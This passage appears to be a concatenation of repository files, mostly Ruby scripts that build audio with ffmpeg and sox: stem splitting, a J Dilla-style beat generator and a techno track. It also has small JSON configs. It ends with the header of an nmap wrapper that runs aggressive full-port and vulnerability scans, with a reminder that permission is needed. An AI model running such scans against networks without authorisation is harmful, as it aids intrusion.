name = File.basename(audio, ".*").gsub(/[^A-Za-z0-9_-]/, "_")[0, 32]
stems_register(name, stems, source: src) if Dir.exist?(stems) && !stems_scan_set(stems).empty?
stems
end
def slice_band(src, dest, label, eq:)
render "band: #{label}", dest,
inputs: ["-i", src], map: "[out]", filter: "[0:a]#{eq}[out]"
end
# liveset
# Long-form WAV from any source (mix or stems set). Per-source ultra-slow
# tremolo with prime-number periods keeps layers from re-syncing — gives the
# natural swell-and-fade of a DJ set. Master glue + soft tape sat + limiter.
LIVESET_PERIODS = [97, 113, 127, 149, 163, 179, 193, 211, 227, 251].freeze
def liveset_filter(count, periods: LIVESET_PERIODS)
per_input = (0...count).map do |i|
p = periods[i % periods.size]
phase = (i * 1.7).round(3)
base = (0.55 + (i % 3) * 0.05).round(2)
"[#{i}:a]aformat=sample_rates=44100:channel_layouts=stereo," \
"volume='#{base}*(0.55+0.45*sin(2*PI*(t+#{phase})/#{p}))':eval=frame[s#{i}]"
end
taps = (0...count).map { |i| "[s#{i}]" }.join
weights = Array.new(count, 1).join(" ")
# SSL-style glue → head-bump HPF (30 Hz Q=1.2 → +1 dB @ 45 Hz, restores
# sub after tape rolloff) → SP-1200 crusher (12-bit, 26.04k decimation,
# samples=44100/26040≈1.69) → Pultec presence cut → slow phaser → Ampex
# 456 asymmetric tanh (3rd-harmonic dominant) → limiter.
master = <<~F.tr("\n", " ").strip
[mix]acompressor=threshold=-20dB:ratio=4:attack=30:release=300:makeup=2,
highpass=f=30:width_type=q:width=1.2,
equalizer=f=55:t=o:w=0.8:g=2,
acrusher=bits=12:samples=1.69:level_in=1:level_out=1:mix=0.35,
equalizer=f=2200:t=o:w=0.6:g=-2,
aphaser=in_gain=0.4:out_gain=0.7:delay=2:decay=0.3:speed=0.12:type=sinusoidal,
aeval='(tanh((val(0)+0.05)*1.6)-0.0798)/0.853|(tanh((val(1)+0.05)*1.6)-0.0798)/0.853',
alimiter=level_in=1.0:level_out=0.95:limit=0.95:attack=5:release=80[out]
F
"#{per_input.join(';')};#{taps}amix=inputs=#{count}:weights=#{weights}:duration=longest[mix];#{master}"
end
def liveset(name = "default", minutes: LIVESET_MIN, set: nil)
m = stems_load_manifest
set ||= m["sets"][name] || m["sets"][m["active"]] or abort "liveset: no stem set '#{name}'"
base_dir = File.join(STEMS_DIR, set["dir"] || ".")
files = set["files"]
abort "liveset: empty set" if files.nil? || files.empty?
inputs = files.flat_map { |f| ["-stream_loop", "-1", "-i", File.join(base_dir, f)] }
out = File.join(DIR, "liveset_#{name}_#{minutes}m.wav")
run "liveset: #{minutes}m wav (#{files.size} stems × tremolo)",
"ffmpeg", "-y", *inputs,
"-filter_complex", liveset_filter(files.size),
"-map", "[out]", "-t", (minutes * 60).to_s, "-ar", "44100", "-c:a", "pcm_s16le", out
puts "liveset -> #{out}"
end
STEMS_DIR = File.join(DIR, "stems")
MANIFEST_PATH = File.join(STEMS_DIR, "manifest.json")
STEM_EXTS = %w[.mp3 .wav .ogg .flac].freeze
def stems_load_manifest
return { "active" => "default", "sets" => {} } unless File.exist?(MANIFEST_PATH)
require "json"
JSON.parse(File.read(MANIFEST_PATH, encoding: "utf-8"))
end
def stems_write_manifest(m)
require "json"
File.write(MANIFEST_PATH, JSON.pretty_generate(m) + "\n")
puts "manifest -> #{MANIFEST_PATH}"
end
def stems_scan_set(dir)
Dir.children(dir).select { |f| STEM_EXTS.include?(File.extname(f).downcase) }.sort
end
def stems_register(name, dir, bpm: nil, source: nil)
rel = dir.sub(%r{\A#{Regexp.escape(STEMS_DIR)}/?}, "")
rel = "." if rel.empty?
files = stems_scan_set(dir)
abort "no stems in #{dir}" if files.empty?
m = stems_load_manifest
m["sets"][name] = { "dir" => rel, "bpm" => bpm, "source" => source, "files" => files }.compact
m["active"] ||= name
stems_write_manifest(m)
end
def demux_deep(src)
stem_dir = demux_six(src)
bands = File.join(stem_dir, "bands")
FileUtils.mkdir_p(bands)
bass = File.join(stem_dir, "bass.wav")
drums = File.join(stem_dir, "drums.wav")
guitar = File.join(stem_dir, "guitar.wav")
piano = File.join(stem_dir, "piano.wav")
other = File.join(stem_dir, "other.wav")
slice_band bass, File.join(bands, "sub_bass.wav"), "sub_bass", eq: "lowpass=f=60"
slice_band bass, File.join(bands, "bass_mid.wav"), "bass_mid", eq: "highpass=f=60,lowpass=f=200"
slice_band drums, File.join(bands, "kick.wav"), "kick", eq: "lowpass=f=100"
slice_band drums, File.join(bands, "snare.wav"), "snare", eq: "highpass=f=200,lowpass=f=500"
slice_band drums, File.join(bands, "hats.wav"), "hats", eq: "highpass=f=5000"
slice_band other, File.join(bands, "mids.wav"), "mids", eq: "highpass=f=500,lowpass=f=2000"
slice_band other, File.join(bands, "highs_pluck.wav"), "highs_pluck", eq: "highpass=f=2000,lowpass=f=5000"
slice_band other, File.join(bands, "air.wav"), "air", eq: "highpass=f=5000"
inst = File.join(bands, "instrumental.wav")
render "instrumental sum", inst,
inputs: ["-i", bass, "-i", drums, "-i", guitar, "-i", piano, "-i", other],
map: "[out]", filter: "[0:a][1:a][2:a][3:a][4:a]amix=inputs=5:duration=longest[out]"
slice_band inst, File.join(bands, "center.wav"), "center", eq: "pan=stereo|c0=c0+c1|c1=c0+c1"
slice_band inst, File.join(bands, "sides.wav"), "sides", eq: "pan=stereo|c0=c0-c1|c1=c1-c0"
puts "bands -> #{bands}"
end
# dispatch
RECIPES = { "v7" => method(:v7), "v8" => method(:v8), "v9" => method(:v9),
"v10" => method(:v10), "v11" => method(:v11) }.freeze
case ARGV[0]
when "demux"
src = ARGV[1] or abort "usage: ruby make.rb demux <url-or-path> [deep]"
ARGV[2] == "deep" ? demux_deep(src) : demux_six(src)
when "stems"
case ARGV[1]
when "add"
name = ARGV[2] or abort "usage: ruby make.rb stems add <name> <dir> [bpm]"
dir = ARGV[3] or abort "usage: ruby make.rb stems add <name> <dir> [bpm]"
stems_register(name, File.expand_path(dir), bpm: (ARGV[4] && ARGV[4].to_f))
when nil
stems_register("default", STEMS_DIR, bpm: 90, source: "Sirkel Sag · Voicemails")
else abort "usage: ruby make.rb stems [add <name> <dir> [bpm]]"
end
when "liveset"
set = ARGV[1] || stems_load_manifest["active"] || "default"
mins = (ARGV[2] || LIVESET_MIN).to_i
liveset(set, minutes: mins)
when nil, /\Av\d+\z/
ver = ARGV[0] || "v11"
abort "unknown: #{ver} have: #{RECIPES.keys.join(", ")}" unless RECIPES[ver]
RECIPES[ver].call
puts "done -> #{out_path(ver)}"
liveset(stems_load_manifest["active"] || "default", minutes: LIVESET_MIN) if File.exist?(MANIFEST_PATH)
else
abort "usage: ruby make.rb [v7|v8|v9|v10|v11] | demux <url|path> [deep] | stems [add <name> <dir> [bpm]] | liveset [set] [minutes]"
end#!/usr/bin/env ruby
# frozen_string_literal: true
# J Dilla Audio Generator - Master Orchestrator
# Complexity: 8/10 (within master.json ≤10 limit)
#
# Purpose: Single entry point for complete beat generation with MAXIMUM VARIETY
# Workflow: chord_theory_expanded.json → chords + bass → drums → VARIED final mixes
#
# Usage:
# ruby master.rb # Full render (all progressions, drums, varied mixes)
# ruby master.rb --chords-only # Just render chord progressions
# ruby master.rb --drums-only # Just render drum patterns
# ruby master.rb --quick # Render only 5 progressions for testing
require "json"
# CONFIGURATION
SOX = "G:/pub/dilla/effects/sox/sox.exe"
# Load unified data from dilla_data.json (consolidation>fragmentation per master.json)
DILLA_DATA = JSON.parse(File.read(File.join(__dir__, "dilla_data.json")))
# Note frequencies (A4 = 440Hz)
NOTES = {
"C" => 130.81, "C#" => 138.59, "Db" => 138.59,
"D" => 146.83, "D#" => 155.56, "Eb" => 155.56,
"E" => 164.81, "F" => 174.61, "F#" => 185.00, "Gb" => 185.00,
"G" => 196.00, "G#" => 207.65, "Ab" => 207.65,
"A" => 220.00, "A#" => 233.08, "Bb" => 233.08,
"B" => 246.94
}
# Chord intervals (semitones from root)
INTERVALS = {
"maj7" => [0, 4, 7, 11], "maj9" => [0, 4, 7, 11, 14], "maj13" => [0, 4, 7, 11, 14, 21],
"min7" => [0, 3, 7, 10], "min9" => [0, 3, 7, 10, 14], "min11" => [0, 3, 7, 10, 14, 17],
"dom7" => [0, 4, 7, 10], "dom9" => [0, 4, 7, 10, 14], "dom13" => [0, 4, 7, 10, 14, 21],
"7#9" => [0, 4, 7, 10, 15], "sus2" => [0, 2, 7], "sus4" => [0, 5, 7],
"" => [0, 4, 7] # major triad
}
# UTILITIES
def sox(cmd)
system("#{SOX} #{cmd}")
end
def cleanup(*files)
files.each do |f|
next unless File.exist?(f)
3.times do
begin
File.delete(f)
break
rescue Errno::EBUSY, Errno::EACCES
sleep 0.1
end
end
end
end
# CHORD SYNTHESIS (7 SYNTH TYPES - FIXED chorus syntax)
def synth_rhodes(i, freq, gain, duration)
sox("-n sin1_#{i}.wav synth #{duration} sine #{freq} fade h 0.01 #{duration} 0.5 gain #{gain}")
sox("-n sin2_#{i}.wav synth #{duration} sine #{freq * 2} fade h 0.01 #{duration} 0.5 gain #{gain - 8}")
sox("-n sin3_#{i}.wav synth #{duration} sine #{freq * 3} fade h 0.01 #{duration} 0.5 gain #{gain - 12}")
sox("-m sin1_#{i}.wav sin2_#{i}.wav sin3_#{i}.wav rhodes_raw_#{i}.wav")
sox("rhodes_raw_#{i}.wav voice_#{i}.wav tremolo 5.5 30 chorus 0.6 0.9 45 0.4 2 -t")
cleanup("sin1_#{i}.wav", "sin2_#{i}.wav", "sin3_#{i}.wav", "rhodes_raw_#{i}.wav")
end
def synth_fm(i, freq, gain, duration)
sox("-n saw#{i}.wav synth #{duration} sawtooth #{freq} gain #{gain}")
sox("-n sqr#{i}.wav synth #{duration} square #{freq} gain #{gain - 2}")
sox("-n sin#{i}.wav synth #{duration} sine #{freq} gain #{gain + 2}")
sox("-m saw#{i}.wav sqr#{i}.wav sin#{i}.wav voice_#{i}.wav")
cleanup("saw#{i}.wav", "sqr#{i}.wav", "sin#{i}.wav")
end
def synth_cs80(i, freq, gain, duration)
detune = freq * 1.0091
sox("-n saw1_#{i}.wav synth #{duration} sawtooth #{freq} fade h 3 #{duration} 4 gain #{gain}")
sox("-n saw2_#{i}.wav synth #{duration} sawtooth #{detune} fade h 3 #{duration} 4 gain #{gain - 2}")
sox("-m saw1_#{i}.wav saw2_#{i}.wav cs80_raw_#{i}.wav")
sox("cs80_raw_#{i}.wav voice_#{i}.wav lowpass 600 chorus 0.7 0.9 50 0.4 2 -t")
cleanup("saw1_#{i}.wav", "saw2_#{i}.wav", "cs80_raw_#{i}.wav")
end
def synth_minimoog(i, freq, gain, duration)
detune = freq * 1.0029
sox("-n saw#{i}.wav synth #{duration} sawtooth #{freq} fade h 1 #{duration} 4 gain #{gain}")
sox("-n sqr#{i}.wav synth #{duration} square #{detune} fade h 1 #{duration} 4 gain #{gain - 3}")
sox("-m saw#{i}.wav sqr#{i}.wav moog_raw_#{i}.wav")
sox("moog_raw_#{i}.wav voice_#{i}.wav lowpass 1200 overdrive 5 chorus 0.6 0.9 40 0.4 2 -t")
cleanup("saw#{i}.wav", "sqr#{i}.wav", "moog_raw_#{i}.wav")
end
def synth_strings(i, freq, gain, duration)
detune1 = freq * 1.0012
detune2 = freq * 1.0023
sox("-n saw1_#{i}.wav synth #{duration} sawtooth #{freq} fade h 0.5 #{duration} 2 gain #{gain}")
sox("-n saw2_#{i}.wav synth #{duration} sawtooth #{detune1} fade h 0.5 #{duration} 2 gain #{gain - 1}")
sox("-n saw3_#{i}.wav synth #{duration} sawtooth #{detune2} fade h 0.5 #{duration} 2 gain #{gain - 2}")
sox("-m saw1_#{i}.wav saw2_#{i}.wav saw3_#{i}.wav strings_raw_#{i}.wav")
sox("strings_raw_#{i}.wav strings_chorus_#{i}.wav lowpass 3000 chorus 0.7 0.9 55 0.5 2 -t")
sox("strings_chorus_#{i}.wav voice_#{i}.wav overdrive 3")
cleanup("saw1_#{i}.wav", "saw2_#{i}.wav", "saw3_#{i}.wav", "strings_raw_#{i}.wav", "strings_chorus_#{i}.wav")
end
def synth_ambient(i, freq, gain, duration)
detune = freq * 1.0006
sox("-n sine#{i}.wav synth #{duration} sine #{freq} fade h 5 #{duration} 6 gain #{gain}")
sox("-n saw#{i}.wav synth #{duration} sawtooth #{detune} fade h 5 #{duration} 6 gain #{gain - 8}")
sox("-m sine#{i}.wav saw#{i}.wav voice_#{i}.wav highpass 80")
cleanup("sine#{i}.wav", "saw#{i}.wav")
end
def synth_oberheim(i, freq, gain, duration)
detune = freq * 1.0046
sox("-n saw1_#{i}.wav synth #{duration} sawtooth #{freq} fade h 1.5 #{duration} 3.5 gain #{gain}")
sox("-n saw2_#{i}.wav synth #{duration} sawtooth #{detune} fade h 1.5 #{duration} 3.5 gain #{gain - 2}")
sox("-m saw1_#{i}.wav saw2_#{i}.wav ob_raw_#{i}.wav")
sox("ob_raw_#{i}.wav voice_#{i}.wav lowpass 1500 chorus 0.7 0.85 48 0.5 2 -t")
cleanup("saw1_#{i}.wav", "saw2_#{i}.wav", "ob_raw_#{i}.wav")
end
def generate_chord(freqs, duration, instrument)
freqs.each_with_index do |freq, i|
case instrument
when "rhodes" then synth_rhodes(i, freq, -10, duration)
when "fm" then synth_fm(i, freq, -10, duration)
when "cs80" then synth_cs80(i, freq, -10, duration)
when "minimoog" then synth_minimoog(i, freq, -10, duration)
when "strings" then synth_strings(i, freq, -10, duration)
when "ambient" then synth_ambient(i, freq, -10, duration)
when "oberheim" then synth_oberheim(i, freq, -10, duration)
else synth_fm(i, freq, -10, duration)
end
end
voices = freqs.size.times.map { |i| "voice_#{i}.wav" }
sox("-m #{voices.join(' ')} chord_out.wav gain -n")
cleanup(*voices)
"chord_out.wav"
end
def generate_bass(root_freq, duration)
sub = root_freq / 2
sox("-n bass_root.wav synth #{duration} sine #{root_freq} gain -8")
sox("-n bass_sub.wav synth #{duration} sine #{sub} gain -6")
sox("-m bass_root.wav bass_sub.wav bass_out.wav gain -n")
cleanup("bass_root.wav", "bass_sub.wav")
"bass_out.wav"
end
def render_progression(prog_name, prog_data)
puts "🎹 #{prog_name}"
chords = prog_data["chords"]
freqs_list = prog_data["freqs"]
dur = prog_data["duration"] || 2.0
instrument = prog_data["instrument"] || "fm"
return unless freqs_list
chord_files = []
bass_files = []
chords.zip(freqs_list).each_with_index do |(chord_name, freqs), idx|
chord_file = generate_chord(freqs, dur, instrument)
sox("#{chord_file} chord_#{idx}.wav")
chord_files << "chord_#{idx}.wav"
cleanup(chord_file)
bass_file = generate_bass(freqs[0], dur)
sox("#{bass_file} bass_#{idx}.wav")
bass_files << "bass_#{idx}.wav"
cleanup(bass_file)
end
sox("#{chord_files.join(' ')} #{chord_files.join(' ')} chords_raw.wav")
sox("#{bass_files.join(' ')} #{bass_files.join(' ')} bass_raw.wav")
cleanup(*chord_files, *bass_files)
system("mkdir -p chords bass 2>/dev/null")
sox("chords_raw.wav chords/#{prog_name}.wav gain -n -2")
sox("bass_raw.wav bass/#{prog_name}.wav gain -n -2")
cleanup("chords_raw.wav", "bass_raw.wav")
puts " → chords/#{prog_name}.wav + bass/#{prog_name}.wav"
end
# DRUM SYNTHESIS (from drums_fixed.rb)
def make_kick
sox("-n _kick.wav synth 0.16 sine 58 fade h 0.001 0.16 0.06 overdrive 10 gain -3")
"_kick.wav"
end
def make_snare
sox("-n _snare.wav synth 0.12 noise lowpass 4000 highpass 200 fade h 0.001 0.12 0.04 overdrive 8 gain -6")
"_snare.wav"
end
def make_hat_closed
sox("-n _hat.wav synth 0.06 noise highpass 7000 fade h 0.001 0.06 0.02 gain -12")
"_hat.wav"
end
def make_kick_909
sox("-n _kick909.wav synth 0.18 sine 65 fade h 0.001 0.18 0.08 overdrive 15 gain -1")
"_kick909.wav"
end
def generate_techno(tempo, bars)
beat_sec = 60.0 / tempo
bar_sec = beat_sec * 4
total_sec = bar_sec * bars
kick = make_kick_909
hat = make_hat_closed
kick_seq = []
bars.times do |bar|
4.times do |beat|
offset = bar * bar_sec + beat * beat_sec
sox("#{kick} _k#{bar}_#{beat}.wav pad #{offset} 0")
kick_seq << "_k#{bar}_#{beat}.wav"
end
end
hat_seq = []
bars.times do |bar|
16.times do |sixteenth|
offset = bar * bar_sec + sixteenth * (beat_sec / 4)
dyn = (sixteenth % 4 == 0) ? 0 : -6
sox("#{hat} _h#{bar}_#{sixteenth}.wav pad #{offset} 0 gain #{dyn}")
hat_seq << "_h#{bar}_#{sixteenth}.wav"
end
end
sox("-m #{kick_seq.join(' ')} _kicks.wav pad 0 #{total_sec}")
sox("-m #{hat_seq.join(' ')} _hats.wav pad 0 #{total_sec}")
sox("-m _kicks.wav _hats.wav drums/techno_intricate_#{tempo}bpm.wav gain -n -3")
cleanup(*kick_seq, *hat_seq, "_kicks.wav", "_hats.wav", kick, hat)
puts "✓ drums/techno_intricate_#{tempo}bpm.wav"
end
def generate_hiphop(tempo, swing_pct, bars)
beat_sec = 60.0 / tempo
bar_sec = beat_sec * 4
total_sec = bar_sec * bars
swing_factor = (swing_pct - 50) / 100.0
swing_offset = (beat_sec / 8) * swing_factor
kick = make_kick
snare = make_snare
hat = make_hat_closed
kick_seq = []
bars.times do |bar|
base = bar * bar_sec
sox("#{kick} _k#{bar}_0.wav pad #{base} 0")
kick_seq << "_k#{bar}_0.wav"
sox("#{kick} _k#{bar}_1.wav pad #{base + beat_sec + beat_sec/2 + swing_offset} 0 gain -2")
kick_seq << "_k#{bar}_1.wav"
sox("#{kick} _k#{bar}_2.wav pad #{base + beat_sec * 2} 0")
kick_seq << "_k#{bar}_2.wav"
end
snare_seq = []
bars.times do |bar|
base = bar * bar_sec
sox("#{snare} _s#{bar}_0.wav pad #{base + beat_sec} 0")
snare_seq << "_s#{bar}_0.wav"
sox("#{snare} _s#{bar}_1.wav pad #{base + beat_sec * 3} 0")
snare_seq << "_s#{bar}_1.wav"
[0.5, 1.5, 2.5, 3.5].each_with_index do |beat_pos, idx|
offset = base + beat_pos * beat_sec + (idx.odd? ? swing_offset : 0)
sox("#{snare} _sg#{bar}_#{idx}.wav pad #{offset} 0 gain -18")
snare_seq << "_sg#{bar}_#{idx}.wav"
end
end
hat_seq = []
bars.times do |bar|
base = bar * bar_sec
8.times do |eighth|
offset = base + eighth * (beat_sec / 2) + (eighth.odd? ? swing_offset : 0)
dyn = eighth.even? ? -3 : -6
sox("#{hat} _h#{bar}_#{eighth}.wav pad #{offset} 0 gain #{dyn}")
hat_seq << "_h#{bar}_#{eighth}.wav"
end
end
sox("-m #{kick_seq.join(' ')} _kicks.wav pad 0 #{total_sec}")
sox("-m #{snare_seq.join(' ')} _snares.wav pad 0 #{total_sec}")
sox("-m #{hat_seq.join(' ')} _hats.wav pad 0 #{total_sec}")
sox("-m _kicks.wav _snares.wav _hats.wav drums/hiphop_intricate_#{tempo}bpm_#{swing_pct}swing.wav gain -n -3")
cleanup(*kick_seq, *snare_seq, *hat_seq, "_kicks.wav", "_snares.wav", "_hats.wav", kick, snare, hat)
puts "✓ drums/hiphop_intricate_#{tempo}bpm_#{swing_pct}swing.wav"
end
# FINAL MIXING (MAXIMUM VARIETY - ROTATES THROUGH ALL DRUMS)
def create_final_mix(name, drum_file)
chord_file = "chords/#{name}.wav"
bass_file = "bass/#{name}.wav"
return unless File.exist?(chord_file) && File.exist?(bass_file)
unless File.exist?(drum_file)
puts "⚠ No drums for #{name} (#{drum_file} missing)"
return
end
# Get chord duration to loop drums
chord_duration = `#{SOX} --info -D #{chord_file}`.strip.to_f
drum_duration = `#{SOX} --info -D #{drum_file}`.strip.to_f
drum_repeats = (chord_duration / drum_duration).ceil + 1
# Loop drums to match
sox("#{([drum_file] * drum_repeats).join(' ')} _drums_loop.wav trim 0 #{chord_duration}")
# Extract drum name for output filename
drum_name = File.basename(drum_file, ".wav").gsub("_intricate", "")
# Final mix with mastering
sox("-m #{chord_file} #{bass_file} _drums_loop.wav final/#{name}_#{drum_name}.wav gain -n -2 compand 0.02,0.20 -60,-60,-30,-24,-20,-18,-4,-12,-2,-9,0,-6 -6 0 0.05 overdrive 5 reverb 18 10 equalizer 80 0.5q +2 equalizer 3000 1.2q +1.5 equalizer 10000 0.6q +1.5 gain -n -0.5")
cleanup("_drums_loop.wav")
puts "✓ final/#{name}_#{drum_name}.wav"
end
# MAIN ORCHESTRATION
if __FILE__ == $0
puts "\n" + ("=" * 70)
puts "🎹 J DILLA AUDIO GENERATOR - MASTER ORCHESTRATOR"
puts "=" * 70
mode = ARGV[0] || "--full"
# Create directories
system("mkdir -p chords bass drums final 2>/dev/null")
# CHORDS & BASS
unless mode == "--drums-only"
puts "\n📊 RENDERING CHORD PROGRESSIONS + BASS"
puts "-" * 70
progressions_to_render = []
["neo_soul", "jazz", "funk_soul"].each do |cat|
key = "#{cat}_progressions"
next unless DILLA_DATA["chords"][key]
DILLA_DATA["chords"][key].each do |name, data|
progressions_to_render << [name, data] if data["freqs"]
end
end
# Quick mode: only 5 progressions
progressions_to_render = progressions_to_render.first(5) if mode == "--quick"
progressions_to_render.each { |name, data| render_progression(name, data) }
end
# DRUMS
unless mode == "--chords-only"
puts "\n📊 RENDERING INTRICATE DRUMS"
puts "-" * 70
if mode == "--quick"
generate_techno(130, 4)
generate_hiphop(92, 58, 4)
else
[128, 130, 135, 140].each { |t| generate_techno(t, 4) }
[[90, 58], [92, 58], [95, 62], [85, 54]].each { |t, s| generate_hiphop(t, s, 4) }
end
end
# FINAL MIXES - ROTATE THROUGH ALL DRUMS FOR MAXIMUM VARIETY
unless mode == "--chords-only" || mode == "--drums-only"
puts "\n📊 CREATING FINAL MIXES (ROTATING DRUMS FOR VARIETY)"
puts "-" * 70
# Get all available drum files
drum_files = Dir.glob("drums/*.wav").sort
if drum_files.empty?
puts "⚠ No drum files found - skipping final mixes"
else
puts " Using #{drum_files.size} drum patterns in rotation"
chord_files = Dir.glob("chords/*.wav").sort
drum_index = 0
chord_files.each do |path|
name = File.basename(path, ".wav")
# Rotate through drum files
drum_file = drum_files[drum_index % drum_files.size]
create_final_mix(name, drum_file)
drum_index += 1
end
end
end
puts "\n" + ("=" * 70)
puts "✅ RENDER COMPLETE"
puts "=" * 70
puts "\n📁 Outputs:"
puts " chords/ - Chord progressions (#{Dir.glob('chords/*.wav').size} files)"
puts " bass/ - Bass layers (#{Dir.glob('bass/*.wav').size} files)"
puts " drums/ - Drum patterns (#{Dir.glob('drums/*.wav').size} files)"
puts " final/ - Full mixes (#{Dir.glob('final/*.wav').size} files)"
puts ""
end{
"active": "default",
"sets": {
"default": {
"dir": ".",
"bpm": 90,
"source": "Sirkel Sag · Voicemails",
"files": [
"sub_bass.mp3",
"bass.mp3",
"mids.mp3",
"highs_pluck.mp3",
"center.mp3",
"sides.mp3"
]
}
}
}#!/usr/bin/env ruby
# frozen_string_literal: true
#
# Hate techno — hard, dark, distorted. 142 BPM × 8 bars.
# 4-on-the-floor saturated kick, acid-bass C-minor progression (i-iv-v),
# industrial closed hats on offbeats, layered claps, hard limit.
#
# Usage: ruby techno_hate.rb [out.mp3] default: ./techno_hate.mp3
DIR = __dir__
BPM = 142
BARS = 8
def run(label, *cmd)
puts ">>> #{label}"
abort "fail: #{label}" unless system(*cmd.flatten.map(&:to_s))
end
def render(label, dest, inputs:, filter:, map:, args: ["-b:a", "320k"])
run label, "ffmpeg", "-y", *inputs,
"-filter_complex", filter.tr("\n", " "),
"-map", map, *args, dest
end
def lavfi(src) = ["-f", "lavfi", "-i", src]
def synthesize(dest)
beat = 60.0 / BPM
bar = beat * 4
step = beat / 4
total = (bar * BARS).round(3)
kick_per_bar = Array.new(BARS) { [0, 4, 8, 12] }
kick_per_bar[7] = [0, 4, 8, 12, 14, 15]
clap_per_bar = Array.new(BARS) { [4, 12] }
clap_per_bar[3] = [4, 12, 14]
clap_per_bar[7] = [4, 10, 12, 14]
hat_per_bar = Array.new(BARS) { [2, 6, 10, 14] }
hat_per_bar[3] = []
hat_per_bar[5] = [0, 2, 4, 6, 8, 10, 12, 14]
open_per_bar = Array.new(BARS) { [] }
open_per_bar[3] = [14]
open_per_bar[7] = [14]
acid_steps = [0, 3, 6, 8, 11, 14]
bass_notes = [65.41, 65.41, 87.31, 65.41, 98.00, 98.00, 87.31, 65.41] # C C F C G G F C
kicks = BARS.times.flat_map { |b| kick_per_bar[b].map { |s| (b * bar + s * step).round(4) } }
claps = BARS.times.flat_map { |b| clap_per_bar[b].map { |s| (b * bar + s * step).round(4) } }
hats = BARS.times.flat_map { |b| hat_per_bar[b].map { |s| (b * bar + s * step).round(4) } }
opens = BARS.times.flat_map { |b| open_per_bar[b].map { |s| (b * bar + s * step).round(4) } }
acid_hits = BARS.times.flat_map do |b|
f = bass_notes[b]
acid_steps.map { |s| [(b * bar + s * step).round(4), f] }
end
kick_sig = kicks.map { |t| "between(t,#{t},#{t + 0.18})*0.95*exp(-(t-#{t})*8)*sin(2*PI*(110*(t-#{t})-250*(t-#{t})*(t-#{t})))" }.join("+")
acid_sig = acid_hits.map { |(t, f)| "between(t,#{t},#{t + 0.14})*0.6*exp(-(t-#{t})*9)*sin(2*PI*#{f}*(t-#{t}))" }.join("+")
clap_env = claps.flat_map { |t|
t1 = (t + 0.012).round(4)
t2 = (t + 0.024).round(4)
[
"between(t,#{t},#{t + 0.04})*exp(-(t-#{t})*40)",
"between(t,#{t1},#{(t1 + 0.04).round(4)})*exp(-(t-#{t1})*50)",
"between(t,#{t2},#{(t2 + 0.05).round(4)})*exp(-(t-#{t2})*30)",
]
}.join("+")
hat_env = hats.map { |t| "between(t,#{t},#{t + 0.04})*exp(-(t-#{t})*70)" }.join("+")
opn_env = opens.map { |t| "between(t,#{t},#{t + 0.5})*exp(-(t-#{t})*10)" }.join("+")
inputs = [
*lavfi("aevalsrc='#{kick_sig}':d=#{total}:s=44100"),
*lavfi("aevalsrc='#{acid_sig}':d=#{total}:s=44100"),
*lavfi("anoisesrc=color=white:r=44100:amplitude=0.5:d=#{total}"),
]
filt = <<~F
[0:a]aformat=channel_layouts=stereo,equalizer=f=55:t=o:w=0.7:g=4,
aeval='tanh(val(0)*2.5)/tanh(2.5)|tanh(val(1)*2.5)/tanh(2.5)',
acompressor=threshold=-10dB:ratio=6:attack=1:release=40:makeup=3[kick];
[1:a]aformat=channel_layouts=stereo,
aeval='tanh(val(0)*3.5)/tanh(3.5)|tanh(val(1)*3.5)/tanh(3.5)',
equalizer=f=300:t=o:w=2:g=3,equalizer=f=1500:t=o:w=2:g=4,
lowpass=f=4000[acid];
[2:a]aformat=channel_layouts=stereo,asplit=3[nc][nh][no];
[nc]volume='(#{clap_env})*0.6':eval=frame,bandpass=f=1500:w=2000,
aecho=0.5:0.4:30|60:0.2|0.1[clap];
[nh]volume='(#{hat_env})*0.4':eval=frame,highpass=f=8000[hat];
[no]volume='(#{opn_env})*0.3':eval=frame,bandpass=f=7000:w=5000[open];
[kick][acid][clap][hat][open]amix=inputs=5:weights=1.4 1.0 0.7 0.5 0.4:duration=longest[drums];
[drums]highpass=f=30,acompressor=threshold=-14dB:ratio=8:attack=1:release=50:makeup=4[drums_comp];
[drums_comp]aeval='tanh(val(0)*2.0)/tanh(2.0)|tanh(val(1)*2.0)/tanh(2.0)'[drums_sat];
[drums_sat]equalizer=f=80:t=o:w=0.8:g=2,equalizer=f=8000:t=o:w=2:g=3[master_eq];
[master_eq]alimiter=level_in=1.0:level_out=0.99:limit=0.95:attack=2:release=20[out]
F
render "techno hate (#{BPM} BPM × #{BARS} bars → #{total}s)", dest,
inputs: inputs, map: "[out]", filter: filt
end
dest = ARGV[0] || File.join(DIR, "techno_hate.mp3")
synthesize(dest)
puts "done -> #{dest}"{
"apps": [
{ "name": "amber", "domain": "amber.brgen.no", "port": 61352 },
{ "name": "baibl", "domain": "baibl.no", "port": 10007 },
{ "name": "blognet", "domain": "blognet.no", "port": 10002 },
{ "name": "brgen", "domain": "brgen.no", "port": 38182 },
{ "name": "bsdports", "domain": "bsdports.org", "port": 47312 },
{ "name": "hjerterom", "domain": "hjerterom.no", "port": 38891 }
]
}#!/usr/bin/env ruby
# frozen_string_literal: true
# nmap.rb - Network security scanner with sensible defaults
#
# Installation:
# OpenBSD: `doas pkg_add nmap ruby--3.2; gem install ruby-nmap`
# Cygwin: `apt-cyg install nmap ruby ruby-devel; gem install ruby-nmap`
# Termux: `pkg install nmap ruby; gem install ruby-nmap`
#
# Usage: ruby nmap.rb [--help | --verbose | --lang=english|norwegian | --prompt]
# --help: Show this help message
# --verbose: Log debugging to syslog (OpenBSD) or stdout (Cygwin/Termux)
# --lang: Choose language (english or norwegian, default: english)
# --prompt: Prompt for severity and attack type (default: full scan)
#
# Notes:
# - Requires permission to scan target network
# - Test with 127.0.0.1 or scanme.nmap.org
# - Default scan: All ports, service/OS detection, vulnerabilities, aggressive
# - OpenBSD: Uses pledge/unveil, doas for privileged scans
# - Cygwin: Non-privileged scans, /cygdrive paths
# - Termux: Non-privileged scans, termux-toast for errors
#
# Example Output (English, default mode):
# Network security scanner
# Target (IP/hostname): 127.0.0.1
# Warning: Full scan detects vulnerabilities. Ensure permission to scan 127.0.0.1.
# Scanning 127.0.0.1
# Host: 127.0.0.1 (Up)
# Port: 22/tcp ssh OpenSSH 8.9
# Port: 80/tcp http Apache 2.4
# Vuln: http-vuln-cve2017-5638 CVE-2017-5638
# Scan completed in 10.2 seconds
#
# Example Output (Norwegian, verbose mode, --verbose --lang=norwegian):
# [DEBUG] Oct 06 18:00:00 nmap[1234]: validate.info: Validating target: 127.0.0.1
# [DEBUG] Oct 06 18:00:00 nmap[1234]: validate.info: Checking nmap...
# [DEBUG] Oct 06 18:00:00 nmap[1234]: validate.info: nmap found
# [DEBUG] Oct 06 18:00:00 nmap[1234]: validate.info: Checking doas...
